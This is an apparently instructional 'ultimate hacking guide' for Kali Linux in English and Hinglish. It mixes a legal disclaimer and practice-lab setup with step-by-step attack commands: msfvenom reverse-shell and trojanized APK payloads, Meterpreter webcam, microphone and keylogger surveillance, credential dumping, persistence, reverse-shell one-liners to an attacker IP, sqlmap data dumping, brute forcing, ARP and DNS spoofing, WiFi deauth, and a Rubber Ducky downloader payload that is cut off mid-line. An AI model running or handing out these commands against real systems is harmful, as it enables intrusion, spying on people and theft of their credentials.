

KALI LINUX ULTIMATE HACKING GUIDE

From Zero to Elite ? Every Tool, Every Technique, Step by Step

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Purpose: Complete Ethical Hacking & Cybersecurity Mastery

Platform: Kali Linux on UTM (Mac)

DISCLAIMER: This guide is for EDUCATIONAL and AUTHORIZED TESTING only.

Unauthorized hacking is a CRIME under IT Act 2000 (India) and similar laws worldwide.

Always get written permission before testing any system.

Use your own lab environment for practice.

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CHAPTER 1: KALI LINUX SETUP & OPTIMIZATION

UTM Settings (Mac)

```
CPU Cores:    4 (minimum 2)
RAM:          4 GB (minimum 2 GB, 8 GB ideal)
Storage:      40 GB+
Display:      virtio-gpu-gl
Network:      Shared Network (NAT) for internet
               Bridged for same network as host
```

Network Modes Explained

NAT (Shared Network) ? DEFAULT

- Internet access: YES
- Scan local network: NO
- Best for: General use, online labs

Bridged ? Same network as Mac

- Gets own IP on your network
- Can scan local devices
- Best for: Lab practice with VMs

Host-Only ? Isolated

- Only Mac and VMs communicate
- No internet
- Best for: Safe isolated lab

First Boot ? Run These Commands

```
# 1. Update everything
sudo apt update && sudo apt full-upgrade -y
sudo apt autoremove -y

# 2. Change default password (default: kali/kali)
passwd

# 3. Set timezone
sudo timedatectl set-timezone Asia/Kolkata

# 4. Install FULL Kali toolset
sudo apt install -y kali-linux-large

# 5. Install additional tools
sudo apt install -y \
  git curl wget tree htop tmux terminator \
  python3-pip gobuster seclists feroxbuster \
  jq docker.io docker-compose \
  flameshot kazam \
  bloodhound neo4j \
  chisel proxychains4 \
  evil-winrm crackmapexec \
  nuclei subfinder httpx-toolkit

# 6. Extract rockyou.txt wordlist
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# 7. Install Python hacking packages
pip3 install requests beautifulsoup4 scrapy paramiko \
  pwntools flask impacket pycryptodome

# 8. Create workspace
mkdir -p ~/hacking/{recon,scans,exploits,payloads,reports,scripts,loot,ctf,tools,notes}

# 9. Setup Metasploit database
sudo systemctl start postgresql
sudo systemctl enable postgresql
sudo msfdb init

# 10. Add useful aliases to ~/.zshrc
cat >> ~/.zshrc << 'EOF'
alias ll='ls -la'
alias update='sudo apt update && sudo apt upgrade -y'
alias myip='ip addr show | grep "inet " | grep -v 127'
alias ports='sudo ss -tulnp'
alias scan='sudo nmap -sV -sC -T4'
alias fullscan='sudo nmap -sS -sV -sC -O -p- -T4 --min-rate=1000'
alias serve='python3 -m http.server 8000'
alias listen='sudo nc -lvp'
alias msf='sudo msfconsole -q'
EOF
source ~/.zshrc
```

Installing Practice Labs

```
# Start Docker
sudo systemctl start docker

# DVWA ? Web hacking practice
sudo docker run -d -p 80:80 vulnerables/web-dvwa
# Access: http://localhost ? Login: admin/password

# OWASP Juice Shop ? Modern web app
sudo docker run -d -p 3000:3000 bkimminich/juice-shop
# Access: http://localhost:3000

# WebGoat ? Interactive lessons
sudo docker run -d -p 8080:8080 webgoat/webgoat
# Access: http://localhost:8080/WebGoat
```

Download Metasploitable 2 (Vulnerable VM)

```
Download: https://sourceforge.net/projects/metasploitable/
1. Extract ZIP -> Find .vmdk file
2. UTM -> New VM -> Import VMDK
3. RAM: 512 MB, CPU: 1 core
4. Network: Same as Kali
5. Login: msfadmin / msfadmin
```


CHAPTER 2: LINUX MASTERY

Directory Structure (Hacker's Map)

```

/etc/passwd      ? User accounts (readable by all)
/etc/shadow      ? Password hashes (root only) ? GOLDMINE!
/etc/hosts       ? Local DNS entries
/etc/crontab     ? Scheduled tasks ? priv esc vector!
/var/log/        ? System logs ? forensics info
/tmp/            ? World-writable ? drop payloads here
/proc/          ? Running process info
~/.ssh/         ? SSH keys ? lateral movement
~/.bash_history  ? Command history ? credential hunting

```

Essential Commands

Navigation & File Operations

```

pwd                # current directory
ls -laR           # detailed recursive list
cd /etc && cd ~ && cd - # navigate directories
tree -L 2         # visual directory tree

touch file.txt     # create file
mkdir -p dir1/dir2/dir3 # create nested dirs
cp -r source/ dest/ # copy recursively
mv old.txt new.txt # rename/move
rm -rf directory/  # force delete (CAREFUL!)

cat file.txt       # print file
head -20 file.txt  # first 20 lines
tail -f /var/log/syslog # live follow log
less file.txt      # paginated view
nano file.txt      # edit file

```

Searching & Filtering

```

find / -name "*.conf" 2>/dev/null # find by name
find / -perm -4000 -type f 2>/dev/null # SUID files (PRIV ESC!)
find / -writable -type d 2>/dev/null # writable directories
find / -name "id_rsa" 2>/dev/null # SSH private keys

grep -r "password" /etc/ 2>/dev/null # search in files
grep -i "error" /var/log/syslog # case-insensitive
grep -n "root" /etc/passwd # with line numbers

cat /etc/passwd | cut -d: -f1 # extract usernames
awk -F: '$3 == 0 {print $1}' /etc/passwd # find root users
sed 's/old/new/g' file.txt # find & replace
sort file.txt | uniq -c | sort -rn # count occurrences
strings binary | grep -i "pass" # extract strings

```


Users & Permissions

```
whoami && id          # current user info
sudo -l               # CRITICAL! Check sudo permissions

chmod 755 script.sh   # rwxr-xr-x
chmod +x script.sh    # add execute
chown user:group file # change ownership

# SUID ? file runs as OWNER (usually root!)
find / -perm -4000 2>/dev/null # find SUID files
# If python3 has SUID:
# python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Process & Service Management

```
ps aux                # all processes
ps aux | grep apache  # find specific
kill -9 PID           # force kill
top / htop            # real-time monitor

sudo systemctl start ssh      # start SSH server
sudo systemctl start apache2  # start web server
sudo systemctl start postgresql # start database
ss -tulnp                   # show open ports
```

Networking Commands

```
ip addr show          # show IP addresses
ip route show         # routing table
ping -c 4 target      # connectivity test
traceroute target     # trace route
dig target.com ANY    # DNS lookup
nslookup target.com   # simple DNS
curl ifconfig.me      # external IP
wget URL -O file      # download file
ss -tulnp             # open ports
netstat -antp         # network connections
```

Package Management

```
sudo apt update       # update package list
sudo apt upgrade -y   # upgrade packages
sudo apt install -y nmap # install package
sudo apt remove nmap  # remove package
apt search keyword    # search packages
dpkg -l | grep nmap   # check if installed
```

Bash Scripting for Hackers

Ping Sweep Script

```
#!/bin/bash
echo -n "Enter network (e.g., 192.168.1): "
read network
echo "[*] Scanning $network.0/24..."
for host in $(seq 1 254); do
    ping -c 1 -W 1 $network.$host &>/dev/null && \
    echo "[+] $network.$host is alive" &
done
wait
echo "[*] Done!"
```

Simple Port Scanner

```
#!/bin/bash
echo -n "Enter target IP: "
read target
echo "[*] Scanning $target..."
for port in 21 22 23 25 53 80 110 139 143 443 445 993 995 1433 3306 3389 5432 5900 8080; do
    (echo >/dev/tcp/$target/$port) 2>/dev/null && echo "[+] Port $port OPEN"
done
echo "[*] Done!"
```

System Enumeration Script

```
#!/bin/bash
echo "=== SYSTEM ENUMERATION ==="
echo "[*] OS: $(cat /etc/os-release | grep PRETTY_NAME | cut -d'"' -f2)"
echo "[*] Kernel: $(uname -r)"
echo "[*] User: $(whoami) | ID: $(id)"
echo "[*] Hostname: $(hostname)"
echo ""
echo "[*] Network:"
ip addr show | grep "inet "
echo ""
echo "[*] Open Ports:"
ss -tulnp 2>/dev/null
echo ""
echo "[*] SUID Binaries:"
find / -perm -4000 -type f 2>/dev/null
echo ""
echo "[*] Sudo Permissions:"
sudo -l 2>/dev/null
echo ""
echo "[*] Cron Jobs:"
cat /etc/crontab 2>/dev/null
echo ""
echo "[*] Users with shell:"
grep -v "nologin\|false" /etc/passwd | cut -d: -f1,6,7
```


CHAPTER 3: PYTHON FOR HACKING

Setup

```
python3 --version
pip3 install requests beautifulsoup4 scrapy paramiko pwntools
```

Port Scanner (Multi-threaded)

```
#!/usr/bin/env python3
import socket, threading
from queue import Queue

target = "192.168.1.1"
queue = Queue()
open_ports = []

def scan_port(port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.5)
        if sock.connect_ex((target, port)) == 0:
            open_ports.append(port)
            print(f"[+] Port {port} OPEN")
        sock.close()
    except: pass

def worker():
    while not queue.empty():
        scan_port(queue.get())
        queue.task_done()

for port in range(1, 1001): queue.put(port)
for _ in range(100):
    t = threading.Thread(target=worker, daemon=True)
    t.start()
queue.join()
print(f"\nOpen ports: {sorted(open_ports)}")
```

Web Scraper / Recon

```
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup

def recon(url):
    r = requests.get(url, timeout=10)
    soup = BeautifulSoup(r.text, 'html.parser')
    print(f"Title: {soup.title.string if soup.title else 'N/A'}")
    print(f"Server: {r.headers.get('Server', 'N/A')}")
    links = [a.get('href') for a in soup.find_all('a', href=True)]
    print(f"Links found: {len(links)}")
    forms = soup.find_all('form')
    print(f"Forms found: {len(forms)}")
    for form in forms:
        print(f"  Action: {form.get('action')} Method: {form.get('method')}")
        for inp in form.find_all('input'):
            print(f"  Input: {inp.get('name')} ({inp.get('type')})")
```

ARP Network Scanner

```
#!/usr/bin/env python3
from scapy.all import ARP, Ether, srp

def scan_network(ip_range):
    result = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_range),
                 timeout=3, verbose=0)[0]
    print(f"{'IP':<20}{'MAC Address':<20}")
    print("-" * 40)
    for _, received in result:
        print(f"{'received.psrc':<20}{'received.hwsrc':<20}")

# scan_network("192.168.1.0/24")
```

Hash Cracker

```
#!/usr/bin/env python3
import hashlib

def crack_hash(target_hash, wordlist, hash_type="md5"):
    funcs = {"md5": hashlib.md5, "sha1": hashlib.sha1, "sha256": hashlib.sha256}
    func = funcs[hash_type]
    with open(wordlist, 'r', errors='ignore') as f:
        for word in f:
            word = word.strip()
            if func(word.encode()).hexdigest() == target_hash:
                print(f"[+] Cracked: {word}")
                return word
    print("[-] Not found")
```

Brute Force Login

```
#!/usr/bin/env python3
import requests

def brute_force(url, username, wordlist):
    with open(wordlist, 'r', errors='ignore') as f:
        for password in f:
            password = password.strip()
            r = requests.post(url, data={"username": username, "password": password})
            if "Invalid" not in r.text and "failed" not in r.text.lower():
                print(f"[+] FOUND: {username}:{password}")
                return
            print(f"[-] Trying: {password}")
```

Keylogger (Lab Only!)

```
#!/usr/bin/env python3
# pip3 install pynput
from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename="keylog.txt", level=logging.DEBUG,
                    format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

# with Listener(on_press=on_press) as listener:
#     listener.join()
```


CHAPTER 4: NETWORKING

Important Ports & Attack Vectors

Port	Service	Attack Vector
21	FTP	Anonymous login, brute force
22	SSH	Brute force, key theft
23	Telnet	Plaintext sniffing
25	SMTP	Email spoofing, relay
53	DNS	Zone transfer, poisoning, tunneling
80	HTTP	SQLi, XSS, LFI, directory traversal
110	POP3	Credential sniffing
135	MSRPC	Windows exploitation
139/445	SMB	EternalBlue, relay, share enum
443	HTTPS	SSL stripping
1433	MSSQL	xp_cmdshell, SQLi
3306	MySQL	UDF exploitation, brute force
3389	RDP	BlueKeep, brute force
5432	PostgreSQL	Command execution
5900	VNC	Auth bypass, brute force
6379	Redis	Unauthenticated RCE
8080	HTTP-Alt	Default credentials
27017	MongoDB	No-auth access

TCP 3-Way Handshake

```
Client -> SYN -> Server      "Want to connect?"
Client <- SYN/ACK <- Server  "Sure, ready!"
Client -> ACK -> Server     "Let's go!"
CONNECTION ESTABLISHED

Nmap SYN scan: Only sends SYN, never ACK = "stealth scan"
```

IP Addressing


```
Private IP ranges (non-routable):
10.0.0.0/8      Class A    16M hosts
172.16.0.0/12   Class B    65K hosts
192.168.0.0/16  Class C    254 hosts per /24

Special:
127.0.0.1      Localhost
0.0.0.0        All interfaces
255.255.255.255 Broadcast
```

CHAPTER 5: COMPLETE TOOLS REFERENCE (150+ T

CATEGORY 1: RECONNAISSANCE & SCANNING

Nmap ? The King of Scanners

```
# Host Discovery
nmap -sn 192.168.1.0/24      # ping sweep
nmap -Pn TARGET             # skip ping

# Port Scanning
nmap -sS TARGET             # SYN scan (stealth)
nmap -sT TARGET             # TCP connect scan
nmap -sU TARGET             # UDP scan
nmap -p 80,443,8080 TARGET  # specific ports
nmap -p- TARGET             # ALL 65535 ports
nmap -F TARGET              # fast (top 100)
nmap --top-ports 1000 TARGET # top 1000

# Service & OS Detection
nmap -sV TARGET             # service versions
nmap -O TARGET              # OS detection
nmap -A TARGET              # aggressive (all)

# Timing
nmap -T0 TARGET             # paranoid (IDS evasion)
nmap -T4 TARGET             # aggressive (recommended)

# NSE Scripts
nmap --script=vuln TARGET    # vulnerability scan
nmap --script=smb-vuln* TARGET # SMB vulns
nmap --script=http-enum TARGET # web enumeration
nmap --script=ftp-anon TARGET  # anonymous FTP
nmap --script=ssh-brute TARGET  # SSH brute force

# Output
nmap -oA scan_results TARGET # save all formats

# ULTIMATE SCAN (copy-paste this!)
sudo nmap -sS -sV -sC -O -A -p- -T4 --min-rate=1000 -oA full TARGET
```

Step by step kaise use kare:

1. Terminal kholo Kali mein
2. sudo nmap -sn 192.168.1.0/24 ? pehle network scan karo
3. Jo IPs milein unpe nmap -sV -sC TARGET_IP ? services dekho
4. Interesting services pe nmap --script=vuln TARGET_IP ? vulns dhundho
5. Results save karo: nmap -oA results TARGET_IP

Masscan ? Ultra-Fast Scanner

```
# Scan all ports at high speed
masscan -p1-65535 TARGET --rate=1000

# Scan specific ports across subnet
masscan 192.168.1.0/24 -p80,443 --rate=10000

# Output to file
masscan TARGET -p1-65535 --rate=1000 -oG results.txt
```

Kab use kare: Jab bahut bade network scan karna ho, Nmap se zyada fast hai.

Netdiscover ? ARP Scanner

```
sudo netdiscover -r 192.168.1.0/24      # active scan
sudo netdiscover -i eth0 -p             # passive (stealthy)
```

Kab use kare: Local network pe devices dhundhne ke liye.

Subfinder ? Subdomain Discovery

```
subfinder -d target.com -o subs.txt      # find subdomains
subfinder -d target.com -all             # use all sources
subfinder -d target.com -silent | httpx   # find + probe
```

Step by step:

1. subfinder -d target.com -o subs.txt ? subdomains nikaalo
 2. cat subs.txt | httpx -sc -title ? check which are live
 3. Live hosts pe further scanning karo
-

Amass ? Advanced Subdomain Enumeration

```
amass enum -d target.com                # active enum
amass enum -passive -d target.com        # passive (stealthy)
amass enum -d target.com -o results.txt  # save output
```

httpx ? HTTP Probe

```
cat subdomains.txt | httpx -sc -title -tech-detect -o live.txt
# -sc = status code, -title = page title, -tech-detect = technologies
```

Nuclei ? AI-Powered Vulnerability Scanner

```
sudo apt install -y nuclei
nuclei -update-templates           # update templates

nuclei -u https://target.com       # scan single URL
nuclei -u URL -severity critical,high # only critical/high
nuclei -u URL -tags cve,xss,sqli   # specific vuln types
nuclei -l urls.txt                 # bulk scan from file

# Automated pipeline
subfinder -d target.com -silent | httpx -silent | nuclei -severity critical,high
```

Step by step:

1. URLs ki list banao (subfinder + httpx se)
 2. nuclei -l urls.txt -severity critical,high -o vulns.txt
 3. Results dekho ? har finding mein details hogi
 4. Manual verification karo Burp Suite se
-

Nikto ? Web Vulnerability Scanner

```
nikto -h http://target.com          # basic scan
nikto -h http://target.com -p 8080  # custom port
nikto -h target -output results.txt  # save output
```

WhatWeb ? Technology Detection

```
whatweb http://target.com          # detect tech
whatweb -a 3 http://target.com     # aggressive mode
```

theHarvester ? Email & Subdomain Gathering

```
theHarvester -d target.com -b all -l 500 # all sources
theHarvester -d target.com -b google     # Google only
```

Sherlock ? Username OSINT

```
sherlock username                  # search all platforms
sherlock user1 user2 user3        # multiple users
sherlock username --output results.txt # save output
```

Maigret ? Better Username OSINT

```
pip3 install maigret
maigret username --all-sites          # search 2500+ sites
```

Holehe ? Email Registration Check

```
pip3 install holehe
holehe target@email.com              # check registrations
```

Recon-ng ? OSINT Framework

```
recon-ng
> marketplace search                  # list modules
> marketplace install recon/domains-hosts/google_site_web
> modules load recon/domains-hosts/google_site_web
> options set SOURCE target.com
> run
```

Maltego ? Visual OSINT (GUI)

```
maltego                              # launch GUI
# Drag entities -> Run transforms -> Map relationships
```

EyeWitness ? Website Screenshots

```
eyewitness --web -f urls.txt -d screenshots/
# Takes screenshots of all URLs ? great for documentation
```

CATEGORY 2: WEB APPLICATION TESTING

Gobuster ? Directory Brute Force

```
# Directory scan
gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

# With file extensions
gobuster dir -u http://target -w wordlist.txt -x php,html,txt,bak,old

# DNS subdomain brute force
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Virtual host discovery
gobuster vhost -u http://target -w wordlist.txt
```

Step by step:

1. gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt
 2. Interesting directories milein toh browser mein check karo
 3. Login pages, admin panels, backup files dhundho
 4. Extensions add karo: -x php,html,txt,bak
-

ffuf ? Fast Fuzzer

```
# Directory fuzzing
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,302

# With extensions
ffuf -u http://target/FUZZ -w wordlist.txt -e .php,.html,.txt,.bak

# Parameter fuzzing
ffuf -u "http://target/page?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-paramete...

# POST data fuzzing (login brute force)
ffuf -u http://target/login -X POST -d "username=admin&password=FUZZ" -w rockyou.txt -fc 401

# Subdomain fuzzing
ffuf -u http://FUZZ.target.com -w wordlist.txt -mc 200
```

Feroxbuster ? Recursive Directory Scanner

```
feroxbuster -u http://target -w wordlist.txt --depth 3
feroxbuster -u http://target -w wordlist.txt -x php,html,txt
```

Dirb ? Directory Scanner

```
dirb http://target /usr/share/wordlists/dirb/common.txt
dirb http://target -o output.txt
```

Burp Suite ? Web Proxy (GUI)

Setup:

1. Open Burp Suite (pre-installed in Kali)
2. Proxy tab -> Intercept ON
3. Browser proxy: 127.0.0.1:8080
4. Install Burp CA certificate in browser

Key Features:

- Proxy: Intercept & modify requests
- Repeater: Modify and resend requests (Ctrl+R)
- Intruder: Automated attacks (brute force, fuzzing)
- Decoder: Encode/decode data
- Scanner: Auto vuln scanning (Pro only)

Must-Install Extensions:

- Autorize (access control testing)
- Logger++ (enhanced logging)
- Param Miner (hidden parameters)
- JS Link Finder (find API endpoints)
- Turbo Intruder (ultra-fast attacks)

Step by step usage:

1. Set browser proxy to 127.0.0.1:8080
2. Browse target website -> Burp captures all requests
3. Find interesting request -> Right-click -> Send to Repeater
4. Modify parameters -> Click Send -> Analyze response
5. Found input field -> Test for SQLi, XSS
6. For brute force -> Send to Intruder -> Set positions -> Start attack

SQLMap ? SQL Injection Automation

```
# Basic scan
sqlmap -u "http://target/page?id=1" --batch --random-agent

# From Burp Suite request (BEST method!)
# Save request from Burp -> File -> request.txt
sqlmap -r request.txt --batch --level=5 --risk=3

# Enumerate databases
sqlmap -r request.txt --dbs

# Enumerate tables
sqlmap -r request.txt -D database_name --tables

# Dump data
sqlmap -r request.txt -D database_name -T users --dump

# Get OS shell!
sqlmap -r request.txt --os-shell

# Read server files
sqlmap -r request.txt --file-read="/etc/passwd"

# WAF bypass
sqlmap -r request.txt --tamper=space2comment,between

# Through TOR
sqlmap -r request.txt --tor --tor-type=SOCKS5
```

Step by step SQLMap:

1. Burp Suite mein login request intercept karo
2. Right-click -> Save Item -> request.txt
3. sqlmap -r request.txt --batch --dbs ? databases dhundho
4. sqlmap -r request.txt -D db_name --tables ? tables dhundho

5. sqlmap -r request.txt -D db_name -T users --dump ? data nikaalo!

WPScan ? WordPress Scanner

```
wpscan --url http://target # basic scan
wpscan --url http://target --enumerate u,vp,vt # users + plugins + themes
wpscan --url http://target -U admin -P wordlist.txt # brute force
wpscan --url http://target --api-token YOUR_TOKEN # with vuln database
```

XSSStrike ? XSS Scanner

```
pip3 install xssstrike
xssstrike -u "http://target/page?param=test"
xssstrike -u "http://target/search?q=test" --crawl
```

Commix ? Command Injection

```
commix -u "http://target/page?cmd=test"
commix -r request.txt # from Burp
```

CATEGORY 3: EXPLOITATION

Metasploit Framework

```
# Start Metasploit
sudo systemctl start postgresql
msfconsole

# Search for exploits
search eternalblue
search type:exploit platform:windows smb
search cve:2021-44228

# Use an exploit
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS TARGET_IP
set LHOST YOUR_IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# Session management
sessions -l # list sessions
sessions -i 1 # interact with session
sessions -k 1 # kill session
```

Step by step Metasploit:

1. msfconsole ? open Metasploit
 2. search service_name version ? exploit dhundho
 3. use exploit/path ? exploit select karo
 4. show options ? required settings dekho
 5. set RHOSTS target_ip ? target set karo
 6. set LHOST your_ip ? apna IP set karo
 7. exploit ? FIRE!
 8. Shell milega -> commands run karo
-

msfvenom ? Payload Generator

```
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP web shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.py

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 R > evil.apk

# PowerShell (fileless!)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f psh -o shell.ps1

# HTA (opens in browser)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f hta-psh -o evil.hta

# Inject into existing APK
msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o trojan.apk

# HANDLER ? Always start this FIRST!
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set..."
```

Meterpreter Commands (Post-Exploitation)

```

# ONCE YOU HAVE A SESSION:
sysinfo          # system info
getuid           # current user
getsystem        # try to get SYSTEM/root

# Credential Harvesting
hashdump         # dump password hashes
load kiwi        # load Mimikatz
creds_all        # ALL credentials!
creds_wdigest    # plaintext passwords

# Surveillance
screenshot       # take screenshot
screenshare      # live screen!
webcam_list      # list cameras
webcam_snap      # take photo
webcam_stream    # live camera
record_mic -d 30 # record mic 30 sec
keyscan_start    # start keylogger
keyscan_dump     # show captured keys

# File operations
download "C:\\secret.txt" # download file
upload backdoor.exe      # upload file
search -f "*.docx"        # search files
search -f "password*"     # search password files

# Network & Pivoting
ipconfig          # network info
portfwd add -l 3389 -p 3389 -r TARGET # port forward
run autoroute -s 10.0.0.0/24 # add internal route

# Persistence
run persistence -U -i 30 -p 4444 -r YOUR_IP
run post/windows/manage/enable_rdp

```

SearchSploit ? Exploit Database Search

```

searchsploit apache 2.4          # search exploits
searchsploit -m 12345            # copy exploit locally
searchsploit --cve CVE-2021-44228 # search by CVE
searchsploit -x 12345           # examine exploit

```

Netcat ? Swiss Army Knife

```

nc -lvnp 4444          # listener (catch shells)
nc TARGET 80           # connect to port
nc -e /bin/bash TARGET 4444 # reverse shell
nc -lvnp 9999 > received_file # receive file
nc TARGET 9999 < file.txt    # send file

```

Reverse Shell One-Liners

```
# Bash
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",4444));os.dup2(s.f...

# Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

# PHP
php -r '$sock=fsockopen("YOUR_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
```

```
# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);$stream = $...
```

```
# Upgrade dumb shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```

CATEGORY 4: PASSWORD ATTACKS

Hydra ? Online Brute Force

```
# SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET

# FTP
hydra -l admin -P rockyou.txt ftp://TARGET

# HTTP POST form
hydra -l admin -P wordlist.txt TARGET http-post-form "/login:username=^USER^&password=^PASS^:Inva..."

# RDP
hydra -l administrator -P wordlist.txt rdp://TARGET

# MySQL
hydra -l root -P wordlist.txt mysql://TARGET

# Multiple users
hydra -L users.txt -P passwords.txt ssh://TARGET -t 4

# Flags: -V verbose, -f stop on first, -t threads
```

Step by step:

1. Target ka login page dhundho (SSH, FTP, web form)
2. Username guess karo (admin, root, etc.) ya list banao
3. hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET
4. Wait for [22][ssh] host: TARGET login: admin password: found123

John the Ripper ? Offline Hash Cracking

```
# Basic usage
john --wordlist=rockyou.txt hashes.txt

# Specify hash format
john --format=raw-md5 --wordlist=rockyou.txt hash.txt
john --format=raw-sha256 hash.txt
john --format=NT hash.txt           # Windows NTLM

# Crack Linux passwords
sudo unshadow /etc/passwd /etc/shadow > combined.txt
john --wordlist=rockyou.txt combined.txt

# Crack ZIP, SSH, PDF files
zip2john protected.zip > zip.hash
ssh2john id_rsa > ssh.hash
pdf2john protected.pdf > pdf.hash
john --wordlist=rockyou.txt zip.hash

# Show cracked
john --show hashes.txt

# With rules (smart mutations)
john --wordlist=rockyou.txt --rules hashes.txt
```

Hashcat ? GPU-Powered Cracking

```
# Hash modes:
# -m 0      MD5
# -m 100    SHA1
# -m 1000   NTLM (Windows)
# -m 1400   SHA256
# -m 1800   SHA512crypt (Linux)
# -m 3200   bcrypt
# -m 22000  WPA

hashcat -m 0 hashes.txt rockyou.txt           # MD5
hashcat -m 1000 hashes.txt rockyou.txt        # NTLM
hashcat -m 22000 wifi.hc22000 rockyou.txt     # WPA

# Brute force
hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a      # 6 chars all

# Mask
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # Uppercase+lower+digits

# Show results
hashcat -m 0 hash.txt --show
```

Responder ? Capture Network Credentials

```
sudo responder -I eth0 -dwPv
# Captures NTLMv2 hashes from Windows machines on network!
# Hashes saved in /usr/share/responder/logs/
# Crack with: hashcat -m 5600 hash.txt rockyou.txt
```

CeWL ? Custom Wordlist Generator

```
cewl http://target.com -d 3 -m 5 -w wordlist.txt
# -d depth, -m minimum word length
# Creates wordlist from website content!
```

Crunch ? Custom Wordlist Creator

```
crunch 8 8 -t @@@@%-% -o wordlist.txt      # 8 chars: 4 letters + 4 numbers
crunch 6 8 abcdef123 -o wordlist.txt        # custom charset
```

CATEGORY 5: NETWORK ATTACKS

Bettercap ? MITM Framework

```
sudo bettercap -iface eth0

# Inside Bettercap:
net.probe on           # discover devices
net.show               # show devices
set arp.spoof.targets VICTIM_IP  # set target
arp.spoof on           # start ARP spoofing
net.sniff on           # start sniffing

# DNS Spoofing
set dns.spoof.domains facebook.com
set dns.spoof.address YOUR_IP
dns.spoof on

# SSL Strip
set http.proxy.sslstrip true
http.proxy on
```

Step by step MITM:

1. sudo bettercap -iface eth0
 2. net.probe on -> net.show ? devices dhundho
 3. set arp.spoof.targets VICTIM_IP ? target select karo
 4. arp.spoof on ? ARP spoofing shuru!
 5. net.sniff on ? traffic capture shuru!
 6. Victim ka HTTP traffic ab tum dekh sakte ho
-

Ettercap ? MITM Tool

```
sudo ettercap -G          # GUI mode
sudo ettercap -T -q -i eth0 -M arp:remote /VICTIM// /GATEWAY//
```

Wireshark ? Packet Analyzer (GUI)

```
Essential filters:
http                                # HTTP traffic
http.request.method == "POST"      # POST requests (logins!)
ftp.request.command == "PASS"      # FTP passwords
ip.addr == 192.168.1.100           # specific IP
tcp.port == 80                     # specific port
http contains "password"           # password in HTTP

Right-click -> Follow -> TCP Stream = full conversation!
```

tcpdump ? CLI Packet Capture

```
sudo tcpdump -i eth0 -w capture.pcap      # capture to file
sudo tcpdump -i eth0 host TARGET          # filter by host
sudo tcpdump -i eth0 port 80              # filter by port
sudo tcpdump -i eth0 -A | grep -i "pass"  # find passwords
```

CATEGORY 6: WIRELESS HACKING

Aircrack-ng Suite

```
# Step 1: Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Step 2: Scan networks
sudo airodump-ng wlan0mon

# Step 3: Target specific network
sudo airodump-ng -c CHANNEL --bssid BSSID -w capture wlan0mon

# Step 4: Deauth attack (force handshake)
sudo aireplay-ng --deauth 20 -a BSSID wlan0mon

# Step 5: Crack handshake
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# Or with hashcat (faster):
hcxpcapngtool capture-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 rockyou.txt

# Step 6: Stop monitor mode
sudo airmon-ng stop wlan0mon
```

Wifite ? Automated WiFi Auditing

```
sudo wifite --kill                # auto mode
sudo wifite -e "NetworkName"      # target specific
```

Wifiphisher ? Evil Twin Attack

```
sudo wifiphisher
# Creates fake AP -> deauths from real -> captures credentials
```

CATEGORY 7: PRIVILEGE ESCALATION

LinPEAS ? Linux Enumeration

```
# Transfer to target
# On attacker: python3 -m http.server 8000
# On target: wget http://ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee output.txt

# RED/YELLOW = likely priv esc vector!
```

Key Linux Priv Esc Checks

```
sudo -l                        # sudo permissions
find / -perm -4000 -type f 2>/dev/null  # SUID binaries
cat /etc/crontab               # cron jobs
getcap -r / 2>/dev/null       # capabilities
uname -r                      # kernel version
# Check GTF0Bins: https://gtfobins.github.io/
```

WinPEAS ? Windows Enumeration

```
.\winPEASx64.exe              # run on Windows target
```

CATEGORY 8: USB & PHYSICAL ATTACKS

USB Rubber Ducky Payloads


```
# Reverse Shell in 3 seconds
DELAY 1000
GUI r
DELAY 500
STRING powershell -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://Y...
ENTER

# Dump WiFi Passwords
DELAY 1000
GUI r
DELAY 500
